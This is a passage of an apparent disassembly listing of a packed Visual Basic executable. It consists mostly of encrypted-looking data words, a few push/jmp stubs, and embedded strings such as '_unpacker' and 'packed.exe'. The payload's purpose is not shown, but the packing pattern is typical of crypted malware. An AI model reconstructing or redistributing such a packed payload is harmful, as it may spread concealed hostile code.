		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 8F31C353h, 0F281FC84h, 4A81850Eh, 28D985C7h,	60Eh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 7DC7D6C3h, 8186CD1Fh, 1393212h, 0E1B559Dh, 15B5FF06h
		dd 6A060E19h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0E705C355h, 0E9F1E276h, 8B66DCA3h
		dd 0B995FFFEh, 0F060E09h, 6ADBB7h, 0F4595FFh, 0C08B060Eh
		dd 0B11E6CEBh, 0AAC7BDE4h, 67F82BBEh, 7E1644C2h, 0EF981000h
		dd 284D98CEh, 93B6A156h, 5F83D559h, 86FD9ABh, 6F4ADB3Ch
		dd 9F3EF773h, 0FF2529D5h, 0F755AC9Fh, 0B00BE280h, 0E2B3E57Bh
		dd 0D3603A8Ch, 4171ACFBh, 8320DBA2h, 0BAE34B8h,	0F078C05Ch
		dd 66B4509h, 20BEF1D1h,	0D4F2494Ch, 19E3ADBEh, 0D4980FACh
		dd 912BDD4Ch, 4AE749DBh, 6E86073h, 5000000h, 0D295C1BBh
		dd 358D8934h, 5B060E1Eh, 5840Fh, 81660000h, 81D41EE9h
		dd 6FC1C3h, 0CEB70F00h,	0C8D05CB8h, 72C0811Fh, 89E0374Bh
		dd 0E07D9BDh, 81338B06h, 339102F1h, 22F68159h, 524B49A5h
		dd 815AD18Bh, 176837EEh, 81D78B68h, 583F41C6h, 0E5BD8974h
		dd 56060E0Dh, 2F59BD8Bh, 38F060Eh, 3850Fh, 8B660000h, 2EB83D0h
		dd 5870Fh, 81660000h, 4B1BF8E2h, 98D8B4Bh, 48060E33h, 0FFAB850Fh
		dd 0BD23FFFFh, 60E04D5h, 9E8h, 0ACEE1600h, 4952D6FAh, 8E9B0C8h
		dd 9D000000h, 52C9FDEFh, 5A279492h, 81DAB70Fh, 6DBBC2h
		dd 0E3B96600h, 66FF33B6h, 34FFD98Bh, 5DB58917h,	58060E1Eh
		dd 8149D580h, 0AD3ABC0h, 0C681661Dh, 0E8819E9Ah, 28F0257Fh
		dd 2A418D8Bh, 0C081060Eh, 3F856234h, 8166F960h,	61CB99C7h
		dd 12E950h, 9DB00000h, 4FD2DECEh, 5587CD06h, 78194710h
		dd 0BB3D3AE3h, 663A048Fh, 799ED381h, 1A399D89h,	0EF83060Eh
		dd 5E801h, 2AA60000h, 66A50E58h, 4F59F38Bh, 81F94F4Fh
		dd 0FF92E8FFh, 87850FFFh, 0BBFFFFFFh, 654027C5h, 12E8h
		dd 0CCD6CC00h, 33A553F1h, 0E45EA66Ch, 0F657DD60h, 66C426A0h
		dd 5ABE47BEh, 812BE780h, 65A5C2h, 0A5958900h, 68060E0Dh
		dd 1934h, 46BBDE81h, 2B5F702Bh,	0E1CE585h, 0F0A8B06h, 485h
		dd 0DA8B5000h, 45F18158h, 8B1DD6A3h, 0E2219B5h,	0B1F18106h
		dd 0F3C1E59h, 1485h, 0B70F6000h, 0AE9C3h, 0F9860000h, 983A5480h
		dd 0C242FB19h, 61E98161h, 894EF6CDh, 0E168D9Dh,	0D6815106h
		dd 7559CE79h, 858B028Fh, 60E0431h, 8353EA81h, 0B5893608h
		dd 60E0781h, 834FC281h,	810F3608h, 0Eh,	30E28160h, 0F228DFAh
		dd 80h,	0F4F6100h, 1185h, 17BE6600h, 18E9E4h, 8B480000h
		dd 998701B7h, 0BB6677EAh, 66E97EA6h, 0CAFFFFFFh, 8152DE4Eh
		dd 6DE9AB26h, 0D6000001h, 0C54D9321h, 4377E705h, 5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B02AF
; ---------------------------------------------------------------------------
		push	61451BEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61452B4h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61453C5h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6145493h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61454DEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61455ABh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6145607h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6145655h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6145DEEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6145EB1h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6145F9Fh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	614606Fh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61460D5h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61461A1h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	614622Dh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61462CEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	614698Ah
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6146A91h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6146B2Eh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 4Dh
		dd 2CC78B56h, 10AB6F30h, 0F38E5215h, 0D57034F9h, 255014DDh
		dd 854E46BFh, 662D26C1h, 4C0907A2h, 31F0ED88h, 9556216Dh
		dd 5D7DE072h, 0B6B765CEh, 3DEFAB9h, 0C4834706h,	0BD7E4D74h
		dd 6177BE3Fh, 45425ED9h, 0A29842C6h, 5D8BDC9Eh,	0B604569Ah
		dd 508Ch, 31F2C100h, 0A2985AD6h, 0B7D39892h, 69BE3900h
		dd 0F7A692FBh, 0EDBC37FEh, 7692514Eh, 0E82FF0BFh, 685B69B0h
		dd 0CCD98EDh, 6177BF4Ch, 0F0ED0984h, 0A29840ADh, 8368749h
		dd 0B6045BEFh, 61A86938h, 0E1A29854h, 66824942h, 13DF34AFh
		dd 0BBh, 0FAB9B6A5h, 3934D3DEh,	4EA35A76h, 23F2BBB3h, 0ACC88784h
		dd 0AD88A0F5h, 0FAD5F1B0h, 0BD7A3EFDh, 5B69B412h, 0FDF6D9D6h
		dd 0E8631A36h, 0E894A19h, 0C2A4964Ch, 9732F247h, 0F6CAB29Ah
		dd 9AA765D6h, 3404031Fh, 2EEFBE8Dh, 0A49696EBh,	0CC97EC67h
		dd 88EB750Bh, 6C30AB9Eh, 67368BADh, 8B51CBA6h, 0DAD87798h
		dd 34D3A21Dh, 14AF733Ch, 0DB3EFF1Ch, 77A889D0h,	902B81FCh
		dd 0F022870Fh, 1A430A94h, 7D740000h, 5753EEB2h,	3C37D296h
		dd 201AB579h, 4FC975Bh,	984C773Bh, 0E8AC756Dh, 0C98D544Dh
		dd 0AF73302Eh, 94581714h, 5DBC7D48h, 0F55D7DE1h, 0BEB6DE8Ch
		dd 999631F5h, 86A816DAh, 0E027E8B7h, 605B69B0h,	0B0E524E5h
		dd 0E25D5B69h, 576ACE8Dh, 1C1AB988h, 0B4D0A5Fh,	0C56177BFh
		dd 84232E4Ah, 0F0A7C38Ch, 41BFDE9Bh, 7537A298h,	110EAD24h
		dd 41DA3DFEh, 0FB76A298h, 58AD6480h, 45B21D6h, 0AE05B6h
		dd 0B6970000h, 3DEFAB9h, 0D473420Bh, 0ACC419D6h, 69B420AFh
		dd 0E8CBC85Bh, 31112DEAh, 44DA50CEh, 83FE79F5h,	5A55F4BFh
		dd 6FC47B97h, 0FC18D7D4h, 0B7863BFDh, 88B96AF6h, 4C1B969Eh
		dd 0E75DBC7Dh, 231DA298h, 0C71C975Eh, 0D1F04807h, 27D4102h
		dd 8423988Bh, 0F0A7C38Ch, 38D7A675h, 0AA617D3Ah, 0F9C2BA55h
		dd 0D9A29A35h, 87DDFE83h, 58E23E22h, 194Dh, 0E4A8736Ah
		dd 0C88C4D49h, 0AB6F322Dh, 8D511610h, 6D31FAF2h, 6B638242h
		dd 4A43DEA2h, 2624BF83h, 0D0AA569h, 733E8A4Eh, 7DE257B2h
		dd 0D482EB5Dh, 31F5BEB6h, 0B9B69996h, 4DBB7FFAh, 2BFAB9B6h
		dd 0B07C9B5Ch, 59D45B69h, 42E1EC04h, 0B46B8744h, 8C7C45Fh
		dd 0D9A29A39h, 3305C484h, 51F0BF8Eh, 0DA346A56h, 67DC3240h
		dd 5ADA97ECh, 6E6177E9h, 7514D1CFh, 0A265BA77h,	8F0E0B27h
		dd 73A29BE8h, 580E8E76h, 721D3D1Ah, 400DBF7h, 5B1C2743h
		dd 0A29B2C3Ch, 0FDBF1994h, 1CDE89ACh, 0AC5A9DCBh, 0C7CCB603h
		dd 5E000000h, 0DA5E6DDCh, 455718E7h, 836177DFh,	25726F08h
		dd 0E1C9F588h, 0F79B6A57h, 0C296D28Ah, 353F7E1h, 50E10F0Dh
		dd 35F6C116h, 44206C8Bh, 47EBBA35h, 0D46A1A5Eh,	9CB409EBh
		dd 57269B9Dh, 3274E396h, 0EBB3577Eh, 0F19CF779h, 3EB97CD1h
		dd 14D3D06Fh, 87A9A145h, 59FC24B5h, 0ACA94404h,	141897EDh
		dd 0EC48C850h, 183C62h,	0B9847B00h, 9D5E5AF5h, 80433ED9h
		dd 622721BCh, 420B039Eh, 7491537Eh, 54EFB37Ch, 35D0945Bh
		dd 1BB67A37h, 4F9B5F1Eh, 0E344C384h, 93FC5D7Dh,	0FAB9B6E5h
		dd 7C9B5C2Bh, 0D45B69B0h, 0EDEC0459h, 0E6A7764Bh, 6177B246h
		dd 9361D67Ah, 84B84F6Dh, 22F16C2Fh, 0F6A2EA7Eh,	4095E960h
		dd 6DDC1280h, 18E7DA5Eh, 77DF4557h, 6F088361h, 637B0972h
		dd 467BBD1Bh, 690AB677h, 17B613BFh, 873E5A1Bh, 0A59E3D0Ch
		dd 727189DEh, 5D2CFBC6h, 5AF4B9h, 8F50B51Bh, 37D38408h
		dd 2DF84DC8h, 0C12BBD6Ch, 7D892D0Dh, 0E51E8930h, 0C03BFE53h
		dd 858322F1h, 0DBD873C8h, 0B2AE4D1Ch, 9712CFCDh, 0AF6FC47Bh
		dd 2581714h, 0B7CF0B49h, 6EC34DA9h, 49000017h, 28C38752h
		dd 0CA76B2Ch, 0EF8A4E11h, 0D16C30F5h, 214C10D9h, 814A42A3h
		dd 622922BDh, 4805039Eh, 2DECE984h, 91521D69h, 5D7DE476h
		dd 86B361CAh, 0D29ECE7h, 5B773432h, 39D429A4h, 0BC277D3Ch
		dd 0C4D1676Fh, 1723DE68h, 9D940000h, 77730ED2h,	5C57F2B6h
		dd 403AD599h, 241CB77Bh, 0F86C975Bh, 8CC958Dh, 0E9AD746Dh
		dd 0CF93504Eh, 0B4783734h, 0BDDC9D68h, 155D7DE4h, 0B9B6FEACh
		dd 251319D1h, 0C843010Eh, 368BADACh, 0FBF99867h, 6BAE6F3Eh
		dd 0E75B6930h, 9A5A176Ch, 36617737h, 0BAD69F97h, 0F9C48803h
		dd 479C5F5Ah, 0CF6974D2h, 526223F2h, 8E9885A7h,	0A87D7A13h
		dd 6C0BF621h, 6526F5CCh, 364C2C7Bh, 771BEA65h, 0D1FE41F2h
		dd 96F1B295h, 2A0A44A5h, 0C7DF34AFh, 825170C8h,	2D1914B3h
		dd 0AF74A768h, 1469E4A8h, 5637A057h, 0D6A52030h, 66273A37h
		dd 10720823h, 4502009Fh, 7CF77229h, 504EEDB8h, 6BC07793h
		dd 0BE14D3D0h, 9A7CD711h, 566BF551h, 61000016h,	40DB9F6Ah
		dd 24BF8344h, 7A26629h,	0E984480Dh, 396428F1h, 99625A8Bh
		dd 7A413AD5h, 601D1BB6h, 4504019Ch, 0A96A3581h,	5D7DE56Eh
		dd 94CB79E2h, 5B69B075h, 69C0B0D3h, 30F7165Bh, 0A74BA496h
		dd 0C567275Bh, 0E8A5FA6Ch, 0A4965CA5h, 3B91504Dh, 2E9883E4h
		dd 0FADE68C4h, 0BD000015h, 9C37FBC6h, 801BDFA0h, 63FEC285h
		dd 45E0A469h, 95C0844Dh, 0F5BEB62Fh, 0D69D9631h, 0BC797712h
		dd 0A1605DF8h, 5C691DDh, 5D7DE682h, 9227D53Eh, 8B4C1BA6h
		dd 6177CE29h, 804740DFh, 9558AD64h, 8D63C41Ah, 0E7432896h
		dd 15AC5Dh, 49140B00h, 2DEEEA85h, 10D3CE69h, 0F2B7B14Ch
		dd 0D29B932Eh, 461E30Eh, 0E47F430Ch, 0C56024EBh, 0AB460AC7h
		dd 0DF2BEFAEh, 0E6345314h, 238C5D7Dh, 0FAB9B675h, 470603DEh
		dd 2708D478h, 0B3567E14h, 0DAE5465Eh, 65CF4A0Bh, 8835B69h
		dd 8CA87169h, 0B10280D5h, 0F5737483h, 28B2AFh, 94440000h
		dd 5B69B071h, 2019FCF9h, 0EE21E230h, 0D44F2B1Ah, 2BCA9559h
		dd 9B526E2Fh, 9F898946h, 77935BC5h, 1528EDh, 0E2867B00h
		dd 863A9B2Eh, 63A667D1h, 0DF5B69E0h, 0F994E964h, 16213DFCh
		dd 211E4072h, 692D3960h, 7A1E995Bh, 2C81084Ch, 27F6CB6Dh
		dd 77390666h, 2923C261h, 953A893Bh, 46C1A88Ch, 4CF732Ah
		dd 0FADA10ABh, 11D0940Fh, 2854627h, 0BEA29BCAh,	5AF9C843h
		dd 79449962h, 85BDD4B8h, 0D9D57498h, 0B6C4AAEFh, 1590655Bh
		dd 54028546h, 43BEA88Dh, 0D6D1ACC8h, 72924F13h,	0F6A88D54h
		dd 0AA7539FAh, 2D27120Bh, 0FD98ED68h, 49244001h, 7B708C4Dh
		dd 521711B0h, 0E72E7FFDh, 736901EBh, 22944175h,	8DA32661h
		dd 0A41F9AA8h, 14E36529h, 12BC1239h, 24Ch, 8ED0A347h, 4A2D15DCh
		dd 0A69287F5h, 0B1AD4C1Bh, 7E1DD4F0h, 9D68BD86h, 77C358DCh
		dd 0E1FD7861h, 85490A06h, 112DEEEAh, 982CF114h,	0CB1C9EA2h
		dd 45C48554h, 0FDA2986Ch, 229D665Eh, 753632CDh,	7B46F2B1h
		dd 9339DDACh, 0B8289FBDh, 4D4B085Dh, 39886D6h, 92616C88h
		dd 8E3D82EEh, 0C98AE455h, 0A88AD34Eh, 0FA87EE25h, 7C43F80Eh
		dd 1911AC01h, 0F06B342Ch, 0D099912Ch, 0C752B7B4h, 0BD3FA88Ah
		dd 642D256Ch, 6A57E1A0h, 0BCC2DA9Bh, 83FE9294h,	311C15B4h
		dd 0DEFA7534h, 0DFBAD227h, 0C45F23E2h, 0EFEC08C7h, 0B6BCECA8h
		dd 5BA2F375h, 40DB9F5Eh, 15B48344h, 0EA02571Ah,	322E130Fh
		dd 76924F4Dh, 0B47544BFh, 0B6BCEC55h, 0DBF772EDh, 0D01768E6h
		dd 32F3EFD4h, 8671F3B7h, 0A0C220F0h, 0B1h, 763706D5h, 0B6BCE013h
		dd 147334AFh, 0ACB6BCE0h, 0B66EDC31h, 0FED9F5BEh, 5C1D1906h
		dd 52D0C5E1h, 0A5C2BA01h, 69B0A5E4h, 0B19A405Bh
		dd 700D3BA6h, 0FE19DAA9h, 525B693Ch, 1DE15CD7h,	0F5BC5C9Bh
		dd 2F2CCBAFh, 664F1B70h, 0E1000000h, 0DEFAB9B6h, 2B470603h
		dd 2067B836h, 0F6956423h, 26E63BF8h, 0F64853A4h, 47D3AFh
		dd 92650000h, 9D14F2A6h, 811E4C20h, 9F983706h, 0DAF6B9B4h
		dd 0B18CA823h, 20D7F3B6h, 0C48550A5h, 61775638h, 54516DE8h
		dd 0A29B3231h, 0DFFBBEB9h, 28240704h, 74D0EC67h, 974265B6h
		dd 0A15684D5h, 85B603C6h, 0BCh,	0C7A69217h, 69B08306h
		dd 49C43F5Bh, 0E0CAB7Ah, 0FE01F228h, 8F0A50D5h,	1430F7F0h
		dd 0F14B085Dh, 0AF617732h, 413D1834h, 229D625Ch, 6C7C35Eh
		dd 0B79C9837h, 607CF7BEh, 0EB7A05A9h, 0EECB86h,	0BCB893ABh
		dd 1FEADFFBh, 0D0978780h, 84C7DC01h, 0AE2C81FCh, 591A165Dh
		dd 2AF3EB8Ah, 7B4A15D5h, 9BB45FBAh, 2378F3A2h, 44856A1h
		dd 3DD0B6h, 86620000h, 0C28EDE7h, 5A763331h, 14D328A3h
		dd 2DCC9B26h, 521D722Fh, 69B05691h, 0A06FEADBh,	0F0450401h
		dd 0B1B8DBD8h, 1BFDB69h, 0CCF545B0h, 4FFD3CFDh,	1A95A496h
		dd 0E0C56h, 869A0000h, 0F2BEAE7h, 4FB90358h, 47000000h
		dd 0DCF8BBB6h, 80440501h, 0C28E9E5h, 77712C0Dh,	40DF96B2h
		dd 39088344h, 0D040BF95h, 146C10D7h, 0DCF44989h, 69B8BFDFh
		dd 5B2A395Bh, 69B87F9Ah, 358D35Bh, 0F1063485h, 35AFF643h
		dd 0C2Dh, 0BFDA9B6Ah, 13A4964Ch, 3BFEF998h, 0A79278E6h
		dd 1D01FE1Ah, 0DFE514E4h, 599ECC1Dh, 0CD39A17Ch, 20h, 1AA7925Fh
		dd 0B00F8A4Bh, 48C35B69h, 7D062F2Ch, 20E204DDh,	1956A1CFh
		dd 0B1D0596Ah, 62000002h, 27C6A792h, 99506C29h,	69B0B1D8h
		dd 7972115Bh, 4ABC37B2h, 0B9B67F2Dh, 0E28688FAh, 4A483D3Ch
		dd 952A7F08h, 4038CFE7h, 6FEEB2F6h, 23000000h, 5C09507Fh
		dd 0B409C4D4h, 1AA79246h, 0F6B786A8h, 5B69B093h, 945FB42Fh
		dd 0D235F6C5h, 665B69B0h, 69B062A5h, 9C63DE5Bh,	8D0FCC21h
		dd 435B69B0h, 0B054B374h, 71EC5B69h, 6CDE591Ch,	0EA13B786h
		dd 0EE09F63Ah, 867BE93Eh, 5726EFE7h, 69B07396h,	0FF54CF5Bh
		dd 4D7D6964h, 82EF59ACh, 0F037A924h, 2E0742h, 99380000h
		dd 5BCD8A1h, 0A79242B0h, 0C586A81Ah, 5B69B047h,	861183FEh
		dd 0D05ECE7h, 0F6712844h, 0B664D6A1h, 8A29F8BBh, 0FBB2CE8Dh
		dd 42F038A6h, 6BB52194h, 9CA99B0h, 0F1944B8Eh, 4B1E793Ah
		dd 37B2F194h, 6F51F570h, 3A67B5Ch, 0F3EB86DBh, 0CECB662Ah
		dd 0F2BF2EBh, 0FBBEB958h, 857D5880h, 504EEDBCh,	3F1A3E93h
		dd 9E615C45h, 342C0723h, 17994F6Bh, 3F01A3C6h, 0EBAAA7EEh
		dd 0BB7A7752h, 3A2F48ECh, 1196DC3Bh, 9AB67572h,	0B56A8EE3h
		dd 64B53306h, 8D564EEDh, 0CA65BA71h, 2EEDEACDh,	423F1AB3h
		dd 0A62B6E2Fh, 2CA7F194h, 0AF7E89B1h, 94A6ABEEh, 84AF1h
		dd 2682F114h, 0F48FE45Fh, 0B2AFEDFCh, 0AE29F194h, 0EDB0AB86h
		dd 3BF8F6D1h, 5BAC2A1Fh, 263D1A0Fh, 29A4AE6Fh, 0FD74C587h
		dd 86A2615Eh, 0E2DF7ACFh, 0B07F8A23h, 9DF920E1h, 0DE59F194h
		dd 949DFA1Dh, 86DB56F1h, 0E2AF3EBh, 4F0DBD59h, 0F6BFB7FEh
		dd 27C36732h, 1B403374h, 88852075h, 0F796A1C9h,	401B37FEh
		dd 0AE658146h, 4B43DE33h, 942AD83Ch, 0D5FD78F1h, 0A6ED3EFCh
		dd 7651EAA9h, 0DD92BA79h, 51A2202Dh, 0B54E0D0Ah, 0F61EDDDAh
		dd 3B36231Bh, 7147654Fh, 3AB5CC80h, 0C1BC97BFh,	907E2FEh
		dd 16D4304Ch, 0D89779C5h, 93695EA3h, 63B47618h,	0C7601F1Ch
		dd 0F6B78619h, 5B69B093h, 0C45FB42Fh, 94F3B4C7h, 2C5B69B0h
		dd 86C436B1h, 447138E2h, 98597578h, 5B694471h, 86DB56D1h
		dd 6BB35762h, 0C4FB77F3h, 926DDB30h, 0BCA719A8h, 0EFE7860Eh
		dd 25410A02h, 0F7D7F36Eh, 48074BFBh, 0AD027DD5h, 0F5EBDC2Bh
		dd 284AB2h, 86DC0000h, 102CE9E7h, 0F5450459h, 0C5865ACCh
		dd 5B69B047h, 86148601h, 0F9BAB614h, 8642F087h,	0D72CE9E7h
		dd 278Dh, 0A8921B00h, 0C586A719h, 5B69B047h, 9E675FFEh
		dd 342CCB82h, 867EF06Bh, 0F9BAB614h, 0F19862Ah,	2D4EF825h
		dd 42F06AD8h, 69C11E94h, 1BA4F25Bh, 32FFFFFDh, 28EDE786h
		dd 0B0F716D3h, 0E2575B69h, 85801BDFh, 6EA9A6C2h, 0A5B69B0h
		dd 56314D0Eh, 0C57B975Ch, 0AFCFF243h, 5E59A0F1h, 3CFDCC9Bh
		dd 5B69B0DDh, 0E5A5FA75h, 9A7F7B1Ah, 0F64DF9Ch,	0F3B77874h
		dd 9FBB0634h, 0C0032EA2h, 9BECAE9Dh, 4C9B8A6Dh,	2949CF2h
		dd 2D10000h, 15177233h,	30ABE6C0h, 0C015286Fh, 0B8DFA0E6h
		dd 18E6C015h, 65BD69Dh,	0B0709498h, 64D45B69h, 0FFCD8E5Dh
		dd 0B16177CFh, 0AF531812h, 0C67B906Fh, 0E3A6FB49h, 0E09A468h
		dd 0EE692C27h, 88F501Fh, 0C8A29879h, 0F3B0AE4Dh, 0B3CB20D7h
		dd 0FF1BDCD8h, 2A3E2824h, 7E3F3BB9h, 491D38DAh,	95108B4Eh
		dd 0D7CF6E79h, 3EFAB90Eh, 86A2635Fh, 2C5FBA7Bh,	78F3A298h
		dd 0F2B382FDh, 98865062h, 6ECD239Eh, 422284EFh,	0E135CE6h
		dd 0ADA40000h, 87831EE2h, 6C6702C6h, 504AE5A9h,	342CC78Bh
		dd 0C87CA76Bh, 18DCA59Dh, 0F9BD847Dh, 0DFA3605Eh, 0C4884744h
		dd 0ADECAD78h, 255D7DEDh, 0E2860EBCh, 0ECA56699h, 0C35F850h
		dd 0B1417C41h, 4946E136h, 89876866h, 7EF9B0CCh,	1430AB62h
		dd 53246509h, 19DCC30h,	764BEDACh, 4039D8A7h, 51A65D79h
		dd 7DE29F94h, 8F501F61h, 0A2827D08h, 35F84DC8h,	514CEBBAh
		dd 342FCA8Eh, 0AB4A5571h, 8CBC6B3h, 9EBA35ECh, 0FAF792E7h
		dd 18201F3Bh, 90F58480h, 8C2B17F6h, 0FEB5D18Eh,	1D15B483h
		dd 27D83F00h, 0FD78A282h, 0A1622D82h, 989C5753h, 0A66D6605h
		dd 0BB7ED38Ah, 0E835EA40h, 0F95522BAh, 0D506Fh,	0A5706700h
		dd 894A46E1h, 6C2F2AC5h, 4E130DA8h, 2EF7EF8Ah, 60853F6Ah
		dd 40DB9F68h, 21BC8047h, 7A26623h, 3B874B0Ah, 0EE68AF70h
		dd 7FE85D7Dh, 0FAB9B6D1h, 3C34D3DEh, 0B03B5E1Fh, 1C975B69h
		dd 0AB8D4CA1h, 1733F8F2h, 5516E560h, 6177E15Fh,	0F0B8BD61h
		dd 0CB6096C4h, 1714B376h, 6F0EDD58h, 9F5FB471h,	0C54405D4h
		dd 0A0A2986Fh, 0B9EA53DEh, 0AC27EE76h, 0EEFFE208h, 267B0546h
		dd 0CF8E8Bh, 219C105Ch,	8E456128h, 8DBF58EAh, 7FB97838h
		dd 0D8D47342h, 0EF44FB17h, 0C1F56324h, 44E3988Ch, 6C2F844Bh
		dd 868322F1h, 6AE5A8A3h, 7742974Eh, 5C6DDD8h, 0A8B55E82h
		dd 8448C33Eh, 0F2BEEE9h, 0A9783734h, 312A0D0Ah,	1CD3EF6Ah
		dd 88B0AFC7h, 0D1CB6A39h, 9A39F00Ch, 0BB86DBA0h, 0AB2EAAFAh
		dd 95EB6692h, 3CA9B16Ah, 62109AF6h, 5500000Ch, 34CF935Eh
		dd 18B37738h, 0FB965A1Dh, 0DD783C01h, 2D581CE5h, 8D564EB7h
		dd 6E352EC9h, 54110FAAh, 39F8F590h, 9D5E2975h, 5D7DEF7Ah
		dd 86BF6DD6h, 0C28EDE7h, 68650055h, 0AA8E8DA9h,	0DA794817h
		dd 4A011DDEh, 0DE8038F5h, 0C5406177h, 0A96A6601h, 8C4F4AE5h
		dd 0A6925AC8h, 1D39FCF7h, 7D1CEB66h, 0C7A2BE83h, 37EE0ACBh
		dd 0DB9C67BCh, 6177D949h, 0F3F00C87h, 0A2986690h, 0B398A4Ch
		dd 0B60475ECh, 8D3Ah, 0BAB6CC00h, 3D2DDF9h, 69B0C742h
		dd 0AB007B5Bh, 37531410h, 0CE9D625Ch, 0B0DB3EFFh, 0FC775B69h
		dd 0E5848FA7h, 38D328E9h, 8AC7B3Ch, 5F522146h, 7F3F9477h
		dd 7A4978C0h, 774E1BB9h, 0E43AB561h, 2895813Bh,	9255DF3Bh
		dd 2500000Bh, 49F632Eh,	0E8834708h, 0CB662AEDh,	0AD480CD1h
		dd 0FD28ECB5h, 5D261E47h, 3E05FE99h, 24E1DF7Ah,	9C8C560h
		dd 6D2EF945h
		dd 5D7DD02Ah, 0B68F3DA6h, 6A35F9BAh, 0A46198C6h, 186D0D38h
		dd 54CEh, 0BAB65C00h, 5ADEDDF9h, 66824B43h, 511610AFh
		dd 364607D6h, 0F26177CCh, 8BF22177h, 126E2896h,	0B2C88h
		dd 0C9948B00h, 0AD6E6A05h, 90534EE9h, 723731CCh, 521B13AEh
		dd 84E1638Eh, 64FFC38Ch, 45E0A46Bh, 2BC68A47h, 5FAB6F2Eh
		dd 0D0B4D394h, 0A30C5D7Dh, 0EEE786F5h, 0B0F712D3h, 0D04B5B69h
		dd 68650055h, 0B5B28DA9h, 0BB79DAF6h, 47BB3C6Ah, 2F6BAFF6h
		dd 0FD000002h, 0AA8E5DDCh, 0B08702C3h, 0C03B5B69h, 27B57645h
		dd 0E16177DFh, 7C89766h, 0A2986180h, 0DB70C540h, 0F08958DEh
		dd 5BC7CB6h, 0CBC36736h, 1EE1DC33h, 147CC7Ah, 88A46762h
		dd 0E5BF7CD1h, 0A3672D7Bh, 0F5B55928h, 0BAD70171h, 0A09FB70Ch
		dd 995A2998h, 613725EEh, 7918E762h, 5EF9BD7Ch, 7C137961h
		dd 9A09651Fh, 388F0ACBh, 0C843A153h, 0E7EAF74Dh, 0DE3A2B5Dh
		dd 0A6054h, 95605700h, 793A36D1h, 5C1F1AB5h, 3E03FD98h
		dd 1EE7DF7Ah, 50B52F5Ah, 30CB8F58h, 11AC7037h, 0F7925613h
		dd 2B773BFAh, 0D1789F60h, 6FD85D7Dh, 0F9BAB6C1h, 135ADEDDh
		dd 9BB77874h, 0B0E423E4h, 0E15C5B69h, 20D69766h, 0A0617DFFh
		dd 0BEB75625h, 0C96833F7h, 29EAE6CFh, 86DB92AEh, 0F2BF2EBh
		dd 0CA992810h, 9C641B09h, 8B5AD598h, 0F08F3ECh,	3E09CD48h
		dd 0C2DEA79Fh, 221BB60Bh, 67643F5Bh, 0E32F52A8h, 2F8B22BAh
		dd 9D4A5h, 21ECE300h, 5C6C25Dh,	0E8ABA641h, 0CA8F8924h
		dd 0AA736B06h, 0DC09BBE6h, 0BC571BE4h, 9D38FCC3h, 831EE29Fh
		dd 0B703C786h, 0D2EC2BECh, 0FB645D7Dh, 90FFFC4Dh, 585B69B0h
		dd 0A6819D5Ah, 2C9C2ADh, 13D56B87h, 0C17F9FC2h,	17212070h
		dd 6A1ADBAAh, 0E66177D5h, 0FECD9C6Bh, 986BDA3Dh, 4BD276A2h
		dd 0F97657E7h, 40DB30ABh, 0F3BE8245h, 7A965954h, 89AF6EC3h
		dd 9FA86938h, 4F988B29h, 0A56105D4h, 81CAB169h,	286F30FFh
		dd 0A8A889B1h, 6E0DD82Dh, 53EEB271h, 30419756h,	7022876Eh
		dd 9338A14h, 8D840000h,	6763FEC2h, 4C47E2A6h, 302AC589h
		dd 140CA76Bh, 0E85C874Bh, 0F8BC857Dh, 0D99D645Dh, 0BF83403Eh
		dd 0A4682724h, 4DCC8D58h, 55D7DD2h, 7194EE9Ch, 0F95B69B0h
		dd 0AE793DFCh, 3450150Fh, 0CF69287Dh, 6F0ED5CEh, 6938B372h
		dd 40FDFB9Ah, 0FEDE2EEBh, 0F69A6177h, 0F2B39AD2h, 0A298AA97h
		dd 0A40CB02Bh, 8F5ED937h, 402521C0h, 0E8047F48h, 4341DC31h
		dd 2927C286h, 0E894E48h, 8B368F2h, 0FA990000h, 671E3A01h
		dd 0A692A412h, 0B08306C7h, 0C43F5B69h, 7AB7A49h, 0A648FC3Ch
		dd 0C986DB64h, 61772BFBh, 9C6B3AB5h, 9B75BCDBh,	7D7514A2h
		dd 0CCE439B4h, 0F7581DC1h, 8EED364h, 0DE97F6B3h, 8D4FA29Bh
		dd 0DDE90E3Ch, 2F3DB603h, 0CF000001h, 0DFFBB8B6h, 28440B04h
		dd 716D504Dh, 50CB948Ch, 0D7F3B6B1h, 37D6A520h,	0A75E7A3Bh
		dd 615F3A52h, 4745E0A4h, 0CD6F6E8Ah, 7D6425F4h,	5D5B69B0h
		dd 0A8FDC6BEh, 734E6AE5h, 0BD98B479h, 0EDE2FEC3h, 0DBFB1E6Fh
		dd 8785CC1Dh, 6D6B06CAh, 6C9794B0h, 83A4964Eh, 2F2D74C5h
